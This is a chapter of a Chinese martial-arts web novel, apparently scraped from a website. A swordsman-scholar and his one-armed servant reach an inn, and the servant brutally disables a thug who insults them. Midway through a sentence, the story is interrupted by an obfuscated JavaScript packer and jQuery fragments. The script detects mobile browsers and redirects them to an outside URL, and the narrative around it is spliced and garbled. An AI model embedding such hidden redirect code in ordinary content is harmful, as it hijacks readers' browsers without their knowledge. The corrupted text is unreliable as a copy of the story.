马蹄踏碎了北地的最后一缕残阳,将那片贫瘠而熟悉的土地,彻底抛在了身后。


    风是冷的,带着旷野的粗粝,刮在脸上如同刀割。


    连续两日的疾驰,人与马都已显出疲态,但林河没有下令停歇。


    他的背影在颠簸的马背上挺得笔直,仿佛一杆刺破苍穹的标枪,那身青色的士子长衫在风中猎猎作响,却丝毫不见文弱,反而透着一股与天地相抗的孤绝。


    影手沉默地跟在他的身后,落后半个马身。


    这个距离,既是仆从的本分,也是刺客最能兼顾警戒与突袭的黄金位置。


    他那只独臂稳稳地控着缰绳,空荡的右袖在风中狂舞,像一只折翼的孤鸟。


    他的目光,却比北地的苍鹰还要锐利,不断扫视着周遭一切可能潜藏危险的角落枯树、岩石、远方的地平线。


    他们之间没有交流。


    沉默是最好的伪装,也是最深的默契。


    直到第三日清晨,当第一缕阳光刺破地平线,为连绵的丘陵镀上一层温暖的金边时,周遭的景致终于发生了肉眼可见的变化。


    荒芜的戈壁与稀疏的灌木渐渐退去,取而代之的是大片平整的田野。


    虽然时值深秋,田里的庄稼早已收割完毕,只剩下光秃秃的秸秆,但那股由土地散发出的、富饶而安定的气息,与北境那种挣扎求生的绝望截然不同。


    官道变得更加宽阔平整,路上开始出现三三两两的行人与缓慢行驶的牛车。


    空气中,不再只有风沙的味道,还夹杂着炊烟的焦香与泥土的芬芳。


    他们进入了北境与中原的交界地带望州。


    “前面三百里,是望州的第一座大城,平阳城。”


    影手沙哑的声音毫无征兆地响起,打破了数日来的沉寂。


    他的语调平直,像是在背诵一卷早已烂熟于心的地图。


    “平阳城是南北商货的集散地,鱼龙混杂。城内最大的地头蛇是‘铁索帮’,靠着把持码头与漕运生意起家,行事霸道,与官府勾结甚深。此外,还有七八个小帮派依附于他们,城里的客栈、酒肆、青楼,半数以上都有他们的干股。”


    林河的目光依旧平视着前方,仿佛对这些话充耳不闻,只是淡淡地“嗯”了一声。


    影手却并未停下。


    “我们不进城。”


    他做出判断,“城门盘查虽不严苛,但铁索帮的眼线遍布,任何面生的江湖人都会被他们盯上。我们今夜,可以在城外三十里的‘三河镇’落脚。”


    “三河镇有一家‘悦来客栈’,掌柜的姓孙,是个**湖,早年间在南边犯了事,流落到此地。他开的客栈,只认钱,不问来路,是许多跑单帮的镖师和躲风头的浪客首选的歇脚处。在那里,我们这样的组合,最不显眼。”


    话音落下,影手便再度陷入沉默。


    他没有问林河的意见,只是将自己作为“向导”的价值,用最简洁高效的方式呈现出来。


    林河的嘴角,逸出一丝微不可察的笑意。


    这柄断剑,很好用。


    他不需要一个只懂得听令行事的傀儡,他需要的,正是一个能在他给出目标后,自行规划出最优路线的工具。


    “就去三河镇。”


    林河终于开口,声音温和,像一个真正拿主意的少爷。


    黄昏时分,一座颇具规模的镇子出现在官道尽头。


    镇子依水而建,几条河流在此交汇,岸边停靠着不少舟船,显得颇为热闹。


    悦来客栈的生意果然兴隆。


    林河与影手进入大堂时,里面已经坐了七八成的客人。


    喧哗声、划拳声、碗筷碰撞声混杂在一起,充满了活色生香的烟火气。


    这里的客**多衣装悍勇,身上带着兵器,说话声粗气大,一看便知是行走江湖的武人。


    一个脑满肠肥的掌柜正靠在柜台后拨弄着算盘,眼皮都未曾抬一下。


    店小二倒是机灵,一见林河那身干净的士子长衫和身后独臂仆从的奇特组合,便知不是寻常客人,连忙满脸堆笑地迎了上来。


    “客官,打尖还是住店?”


    “一间上房,再备些酒菜送到房里。”


    林河随手抛出一小块碎银,动作斯文,恰如一个不谙世事的富家公子。


    小二接过银子,脸上的笑容愈发灿烂,点头哈腰地便要引他们上楼。


    然而,就在他们转身的瞬间,一个不和谐的声音从邻桌响起。


    “哟,哪来的小白脸,出手还挺阔绰?”


    说话的是一个满脸横肉的光头壮汉,他敞着衣襟,露出胸口狰狞的黑**,桌上横着一柄鬼头大刀。


    他身边的几个同伴,也都面带戏谑地望了过来,目光在林河身上肆无忌惮地打量,最后落在了影手那空荡荡的袖管上,爆发出一阵哄笑。


    “带个残废当仆人,这位公子爷的口味,还真是独特啊!”


    大堂内的喧嚣,瞬间为之一静。


    所有人的目光,都聚焦到了这里。


    有好奇,有同情,但更多的是幸灾乐祸的冷漠。


    店小二的脸色刷地一下白了,他想上前打圆场,却被那光头壮汉一个凶狠的眼神给瞪了回去,只能缩着脖子,一脸为难地看着林河。


    林河仿佛没有听见那些刺耳的嘲讽,他甚至连头都没有回,只是用一种略带不解的、属于读书人的语气,轻声问向身后的影手:“他们在说我们么?”


    影手垂着头,声音依旧沙哑而平静。


    “是的,公子。”


    “哦。”


    林河点了点头,像是明白了什么,随即又问,“那该如何是好?出门在外,父


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667537|183137||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    亲教导我,凡事以和为贵。”


    这番对话,落在旁人耳中,更像是一种懦弱的自语。


    那光头壮汉笑得愈发张狂,他猛地一拍桌子,站起身来,蒲扇般的大手直接朝着林河的肩膀抓来。


    “小白脸,既然你爹教你以和为贵,那不如坐下来,陪你家爷爷喝几杯,再把你那钱袋子借爷爷使唤几天,这事就算和了!”


    眼看那只油腻的大手就要碰到林河的衣衫。


    一直垂着头的影手,动了。


    没有人看清他是如何动的。


    他只是微微侧过半个身子,用仅存的左手,看似随意地在那壮汉抓来的手腕上轻轻一拂。


    动作轻柔得,就像是掸去一点灰尘。


    “咔嚓!”


    一声极其清脆、却又令人头皮发麻的骨裂声,在大堂内骤然响起!


    那光头壮汉脸上的狂笑瞬间凝固,取而代之的是一种极致的、因痛苦而扭曲的惊骇。


    他的整条手臂以一个诡异的角度向外翻折,森白的断骨甚至刺破了皮肤!


    “啊!”


    一声撕心裂肺的惨嚎,终于从他喉咙里爆发出来。


    然而,这仅仅是开始。


    影手那只拂过的手并未停下,而是如同附骨之疽,顺着壮汉的手臂向上游走,五指如电,在他臂膀、腋下、肋间的几个穴位上闪电般连点数下。


    壮汉的惨叫声戛然而止,仿佛被一只无形的手扼住了喉咙。


    他双目圆瞪,眼球中布满了血丝,身体如同筛糠般剧烈颤抖,豆大的冷汗从额头滚滚而下,却连一丝声音都发不出来。


    他想求饶,却发现自己连张嘴的力气都没有。


    他想后退,却发现双腿如同灌了铅,动弹不得。


    一种比死亡更可怕的、仿佛全身筋骨都被无数蚂蚁啃噬的酸麻剧痛,从被点中的穴位瞬间传遍四肢百骸!


    整个大堂,死一般的寂静。


    所有人都被这诡异而恐怖的一幕惊呆了。


    没有惊天动地的打斗,没有眼花缭乱的招式。


    只有一个独臂的仆人,一次轻描淡写的拂袖,一个魁梧的壮汉,便成了一尊在无声地狱中饱受煎熬的活雕像。


    影手做完这一切,便重新退回林河身后,垂下头,仿佛刚才什么都没有发生。


    林河这才缓缓转过身,他看了一眼那个痛苦到面目全非的壮汉,眉头微蹙,脸上露出一丝恰到好处的、属于读书人的嫌恶与不忍。


    他望向那几个早已吓得魂不附体、面无人色的同伙,温和地问道:“几位,我这位仆人,下手不知轻重。你们看,是送他去医馆呢,还是……就让他这么站着?”


    他的声音,依旧是那么斯文,那么有礼。


    可这温和的语调,此刻听在众人耳中,却比九幽寒冰还要刺骨。